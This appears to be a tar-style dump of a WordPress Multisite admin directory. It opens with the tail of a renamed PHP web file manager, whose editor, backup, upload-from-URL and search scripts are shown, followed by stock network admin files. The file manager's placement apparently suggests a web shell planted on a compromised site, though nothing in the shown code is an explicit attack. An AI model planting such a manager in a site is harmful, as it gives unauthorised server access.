            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
          </div>
        </form>
      </div>
    </div>

    <!-- Confirm Modal -->
    <script type="text/html" id="js-tpl-confirm">
        <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
          <div class="modal-dialog" role="document">
            <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
              <div class="modal-body p-4 text-center">
                <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
                <p class="mb-1"><%this.content%></p>
              </div>
              <div class="modal-footer flex-nowrap p-0">
                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
              </div>
            </form>
          </div>
        </div>
    </script>

    <?php
    }

    /**
     * Show page footer after login
     */
    function fm_show_footer()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])): ?>
    <?php print_external('js-highlightjs'); ?>
    <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) { // Create file backup with .bck
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState && 200 == n.status && toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    // Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (typeof n !== 'undefined' && n !== null) {
            if (true) {
                var data = {ajax: true, content: n, type: 'save', token: window.csrf};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    data: JSON.stringify(data),
                    contentType: "application/json; charset=utf-8",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
            } else {
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
            }
        }
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    // Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    // Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    // Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    // Advance search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt && searchTxt.length > 2 && path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data && data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    // action confirm dailog modal
    function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
        e.preventDefault();
        const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
        let tpl = $("#js-tpl-confirm").html();
        $(".modal.confirmDailog").remove();
        $('#wrapper').append(template(tpl,tplObj));
        const $confirmDailog = $("#confirmDailog-"+tplObj.id);
        $confirmDailog.modal('show');
        return false;
    }
    

    // on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Events
    $(document).ready( function () {
        // dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
            mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
        });
        // filter table
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE && !FM_READONLY):
        
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
    <?php print_external('js-ace'); ?>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        editor.setShowPrintMargin(false); // Hide the vertical ruler
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change(); //set default font size in drop down
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue && cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
                        &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue && selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue && selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue && selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue));
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

/**
 * Language Translation System
 * @param string $txt
 * @return string
 */
function lng($txt) {
    global $lang;

    // English Language
    $tr['en']['AppName']        = 'Manager';      $tr['en']['AppTitle']           = 'File Manager';
    $tr['en']['Login']          = 'Sign in';                $tr['en']['Username']           = 'Username';
    $tr['en']['Password']       = 'Password';               $tr['en']['Logout']             = 'Sign Out';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Copy']               = 'Copy';
    $tr['en']['Save']           = 'Save';                   $tr['en']['SelectAll']          = 'Select all';
    $tr['en']['UnSelectAll']    = 'Unselect all';           $tr['en']['File']               = 'File';
    $tr['en']['Back']           = 'Back';                   $tr['en']['Size']               = 'Size';
    $tr['en']['Perms']          = 'Perms';                  $tr['en']['Modified']           = 'Modified';
    $tr['en']['Owner']          = 'Owner';                  $tr['en']['Search']             = 'Search';
    $tr['en']['NewItem']        = 'New Item';               $tr['en']['Folder']             = 'Folder';
    $tr['en']['Delete']         = 'Delete';                 $tr['en']['Rename']             = 'Rename';
    $tr['en']['CopyTo']         = 'Copy to';                $tr['en']['DirectLink']         = 'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload Files';           $tr['en']['ChangePermissions']  = 'Change Permissions';
    $tr['en']['Copying']        = 'Copying';                $tr['en']['CreateNewItem']      = 'Create New Item';
    $tr['en']['Name']           = 'Name';                   $tr['en']['AdvancedEditor']     = 'Advanced Editor';
    $tr['en']['Actions']        = 'Actions';                $tr['en']['Folder is empty']    = 'Folder is empty';
    $tr['en']['Upload']         = 'Upload';                 $tr['en']['Cancel']             = 'Cancel';
    $tr['en']['InvertSelection']= 'Invert Selection';       $tr['en']['DestinationFolder']  = 'Destination Folder';
    $tr['en']['ItemType']       = 'Item Type';              $tr['en']['ItemName']           = 'Item Name';
    $tr['en']['CreateNow']      = 'Create Now';             $tr['en']['Download']           = 'Download';
    $tr['en']['Open']           = 'Open';                   $tr['en']['UnZip']              = 'UnZip';
    $tr['en']['UnZipToFolder']  = 'UnZip to folder';        $tr['en']['Edit']               = 'Edit';
    $tr['en']['NormalEditor']   = 'Normal Editor';          $tr['en']['BackUp']             = 'Back Up';
    $tr['en']['SourceFolder']   = 'Source Folder';          $tr['en']['Files']              = 'Files';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Change']             = 'Change';
    $tr['en']['Settings']       = 'Settings';               $tr['en']['Language']           = 'Language';        
    $tr['en']['ErrorReporting'] = 'Error Reporting';        $tr['en']['ShowHiddenFiles']    = 'Show Hidden Files';
    $tr['en']['Help']           = 'Help';                   $tr['en']['Created']            = 'Created';
    $tr['en']['Help Documents'] = 'Help Documents';         $tr['en']['Report Issue']       = 'Report Issue';
    $tr['en']['Generate']       = 'Generate';               $tr['en']['FullSize']           = 'Full Size';              
    $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
    $tr['en']['Nothing selected']   = 'Nothing selected';   $tr['en']['Paths must be not equal']    = 'Paths must be not equal';
    $tr['en']['Renamed from']       = 'Renamed from';       $tr['en']['Archive not unpacked']       = 'Archive not unpacked';
    $tr['en']['Deleted']            = 'Deleted';            $tr['en']['Archive not created']        = 'Archive not created';
    $tr['en']['Copied from']        = 'Copied from';        $tr['en']['Permissions changed']        = 'Permissions changed';
    $tr['en']['to']                 = 'to';                 $tr['en']['Saved Successfully']         = 'Saved Successfully';
    $tr['en']['not found!']         = 'not found!';         $tr['en']['File Saved Successfully']    = 'File Saved Successfully';
    $tr['en']['Archive']            = 'Archive';            $tr['en']['Permissions not changed']    = 'Permissions not changed';
    $tr['en']['Select folder']      = 'Select folder';      $tr['en']['Source path not defined']    = 'Source path not defined';
    $tr['en']['already exists']     = 'already exists';     $tr['en']['Error while moving from']    = 'Error while moving from';
    $tr['en']['Create archive?']    = 'Create archive?';    $tr['en']['Invalid file or folder name']    = 'Invalid file or folder name';
    $tr['en']['Archive unpacked']   = 'Archive unpacked';   $tr['en']['File extension is not allowed']  = 'File extension is not allowed';
    $tr['en']['Root path']          = 'Root path';          $tr['en']['Error while renaming from']  = 'Error while renaming from';
    $tr['en']['File not found']     = 'File not found';     $tr['en']['Error while deleting items'] = 'Error while deleting items';
    $tr['en']['Moved from']         = 'Moved from';         $tr['en']['Generate new password hash'] = 'Generate new password hash';
    $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
    $tr['en']['Advanced Search']    = 'Advanced Search';    $tr['en']['Error while copying from']    = 'Error while copying from';
    $tr['en']['Invalid characters in file name']                = 'Invalid characters in file name';
    $tr['en']['FILE EXTENSION HAS NOT SUPPORTED']               = 'FILE EXTENSION HAS NOT SUPPORTED';
    $tr['en']['Selected files and folder deleted']              = 'Selected files and folder deleted';
    $tr['en']['Error while fetching archive info']              = 'Error while fetching archive info';
    $tr['en']['Delete selected files and folders?']             = 'Delete selected files and folders?';
    $tr['en']['Search file in folder and subfolders...']        = 'Search file in folder and subfolders...';
    $tr['en']['Access denied. IP restriction applicable']       = 'Access denied. IP restriction applicable';
    $tr['en']['Invalid characters in file or folder name']      = 'Invalid characters in file or folder name';
    $tr['en']['Operations with archives are not available']     = 'Operations with archives are not available';
    $tr['en']['File or folder with this path already exists']   = 'File or folder with this path already exists';

    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = 'en';
    if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]);
    else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]);
    else return "$txt";
}

?>index.php000060400000005537151724022660006377 0ustar00<?php
/**
 * Multisite administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** Load WordPress dashboard API */
require_once ABSPATH . 'wp-admin/includes/dashboard.php';

if ( ! current_user_can( 'manage_network' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

// Used in the HTML title tag.
$title       = __( 'Dashboard' );
$parent_file = 'index.php';

$overview  = '<p>' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '</p>';
$overview .= '<p>' . __( 'From here you can:' ) . '</p>';
$overview .= '<ul><li>' . __( 'Add and manage sites or users' ) . '</li>';
$overview .= '<li>' . __( 'Install and activate themes or plugins' ) . '</li>';
$overview .= '<li>' . __( 'Update your network' ) . '</li>';
$overview .= '<li>' . __( 'Modify global network settings' ) . '</li></ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $overview,
	)
);

$quick_tasks  = '<p>' . __( 'The Right Now widget on this screen provides current user and site counts on your network.' ) . '</p>';
$quick_tasks .= '<ul><li>' . __( 'To add a new user, <strong>click Create a New User</strong>.' ) . '</li>';
$quick_tasks .= '<li>' . __( 'To add a new site, <strong>click Create a New Site</strong>.' ) . '</li></ul>';
$quick_tasks .= '<p>' . __( 'To search for a user or site, use the search boxes.' ) . '</p>';
$quick_tasks .= '<ul><li>' . __( 'To search for a user, <strong>enter an email address or username</strong>. Use a wildcard to search for a partial username, such as user&#42;.' ) . '</li>';
$quick_tasks .= '<li>' . __( 'To search for a site, <strong>enter the path or domain</strong>.' ) . '</li></ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'quick-tasks',
		'title'   => __( 'Quick Tasks' ),
		'content' => $quick_tasks,
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/">Documentation on the Network Admin</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

wp_dashboard_setup();

wp_enqueue_script( 'dashboard' );
wp_enqueue_script( 'plugin-install' );
add_thickbox();

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<div id="dashboard-widgets-wrap">

<?php wp_dashboard(); ?>

<div class="clear"></div>
</div><!-- dashboard-widgets-wrap -->

</div><!-- wrap -->

<?php
wp_print_community_events_templates();
require_once ABSPATH . 'wp-admin/admin-footer.php';
theme-install.php000060400000000566151724022660010033 0ustar00<?php
/**
 * Install theme network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['tab'] ) && ( 'theme-information' === $_GET['tab'] ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/theme-install.php';
site-settings.php000060400000012772151724022660010071 0ustar00<?php
/**
 * Edit Site Settings Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] && is_array( $_POST['option'] ) ) {
	check_admin_referer( 'edit-site' );

	switch_to_blog( $id );

	$skip_options = array( 'allowedthemes' ); // Don't update these options since they are handled elsewhere in the form.
	foreach ( (array) $_POST['option'] as $key => $val ) {
		$key = wp_unslash( $key );
		$val = wp_unslash( $val );
		if ( 0 === $key || is_array( $val ) || in_array( $key, $skip_options, true ) ) {
			continue; // Avoids "0 is a protected WP option and may not be modified" error when editing blog options.
		}
		update_option( $key, $val );
	}

	/**
	 * Fires after the site options are updated.
	 *
	 * @since 3.0.0
	 * @since 4.4.0 Added `$id` parameter.
	 *
	 * @param int $id The ID of the site being updated.
	 */
	do_action( 'wpmu_update_blog_options', $id );

	restore_current_blog();
	wp_redirect(
		add_query_arg(
			array(
				'update' => 'updated',
				'id'     => $id,
			),
			'site-settings.php'
		)
	);
	exit;
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'updated' === $_GET['update'] ) {
		$messages[] = __( 'Site options updated.' );
	}
}

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>

<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-settings',
	)
);

if ( ! empty( $messages ) ) {
	$notice_args = array(
		'type'        => 'success',
		'dismissible' => true,
		'id'          => 'message',
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?>
<form method="post" action="site-settings.php?action=update-site">
	<?php wp_nonce_field( 'edit-site' ); ?>
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<?php
		$blog_prefix = $wpdb->get_blog_prefix( $id );
		$sql         = "SELECT * FROM {$blog_prefix}options
			WHERE option_name NOT LIKE %s
			AND option_name NOT LIKE %s";
		$query       = $wpdb->prepare(
			$sql,
			$wpdb->esc_like( '_' ) . '%',
			'%' . $wpdb->esc_like( 'user_roles' )
		);
		$options     = $wpdb->get_results( $query );

		foreach ( $options as $option ) {
			if ( 'default_role' === $option->option_name ) {
				$editblog_default_role = $option->option_value;
			}

			$disabled = false;
			$class    = 'all-options';

			if ( is_serialized( $option->option_value ) ) {
				if ( is_serialized_string( $option->option_value ) ) {
					$option->option_value = esc_html( maybe_unserialize( $option->option_value ) );
				} else {
					$option->option_value = 'SERIALIZED DATA';
					$disabled             = true;
					$class                = 'all-options disabled';
				}
			}

			if ( str_contains( $option->option_value, "\n" ) ) {
				?>
				<tr class="form-field">
